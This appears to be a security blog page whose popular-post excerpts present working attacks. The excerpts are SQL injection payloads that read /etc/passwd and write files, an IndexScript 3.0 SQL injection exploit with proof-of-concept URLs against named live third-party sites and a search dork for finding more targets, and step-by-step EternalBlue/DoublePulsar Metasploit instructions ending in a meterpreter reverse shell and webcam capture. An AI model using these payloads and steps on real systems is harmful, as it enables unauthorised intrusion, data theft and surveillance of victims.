Skip to main content

Research Blog

Search This Blog

LFI to RCE via access_log injection

on February 21, 2021 tutorial

Get link
Facebook
Twitter
Pinterest
Email
Other Apps

Think Ubuntu Ver 1.0 GDM Theme

on June 25, 2009

Get link
Facebook
Twitter
Pinterest
Email
Other Apps

background 1600x1200

[o] download Think Ubuntu Ver 1.0

do you think about ubuntu?? :D

linux

Get link
Facebook
Twitter
Pinterest
Email
Other Apps

Comments

Popular Posts

SQL injection with load file and into outfile

Well this submission make me get the patient badge on h1 coz it’s more then 6 month (1 year) hehehehehe. I got sqli vulnerability when test with apostrophe (‘). Sorry for the redacted guys. 😛 I do register as affiliate on the web as usual. Then got redirect to POST all form information here https://www.blablabla.com/svc/*****/form_affiliate . Select it and send to repeater. The vulnerable parameter is email . On request box, i input this SQL command in “ email ” parameter ‘ and 1=2 union all select concat_ws(0x3a,version(),user(),database()) — and click Go (this command will show version, user and database name) The result is shown on response box “ 5.5.41-log:root@10.130.*.**:tp_cart ”. Now i try to change the SQL command with this load file command ‘ and 1=2 union all select load_file(‘/etc/passwd’) and boom! got the passwd. Change the load file command with into outfile command to create a file on /tmp ‘ and 1=2 union all select ‘blablabla_bug_bounty_program’ into outfile ‘/tmp/

IndexScript 3.0 SQL Injection Vuln

[o] IndexScript 3.0 SQL Injection Vulnerability Software : IndexScript version 3.0 Vendor : http://www.indexscript.com/ Download : http://www.indexscript.com/download.php Author : NoGe Home : http://antisecurity.org [o] Vulnerable file more.php [o] Exploit http://localhost/[path]/more.php?cat_id=[SQL] [o] Proof of Concept http://texxsmith.com/directory/more.php?cat_id=-3+union+select+1,2,3,4,5,version(),database(),user(),9-- http://www.internetkatalogen.net/more.php?cat_id=-77+union+select+1,2,3,4,5,version(),database(),user(),9-- [o] Dork "powered by IndexScript"

Eternalblue and Doublepulsar with Metasploit

Just wanna share it.. I'm using this msf module https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit . Clone it and copy paste eternalblue_doublepulsar.rb to /usr/share/metasploit-framework/modules/exploits/windows/smb/ . Run msfconsole and scan your local network with auxiliary/scanner/smb/smb_ms17_010 (MS17-010 SMB RCE Detection). Now use the exploit exploit/windows/smb/eternalblue_doublepulsar . Set the necessary options like RHOST , TARGETARCHITECTURE , TARGET and PROCESSINJECT . For DOUBLEPULSARPATH and ETERNALBLUEPATH , use Eternalblue-Doublepulsar-Metasploit/deps/ directory. For example /root/Eternalblue-Doublepulsar-Metasploit/deps/ . Don't forget set the PAYLOAD windows/x64/meterpreter/reverse_tcp (my target use x64 so i'm using x64 payload too). If everything sets, now run exploit . Run some interesting command like webcam_list or webcam_snap The victim desktop screenshot. Tested on my local network, too

Powered by Blogger

pacenoge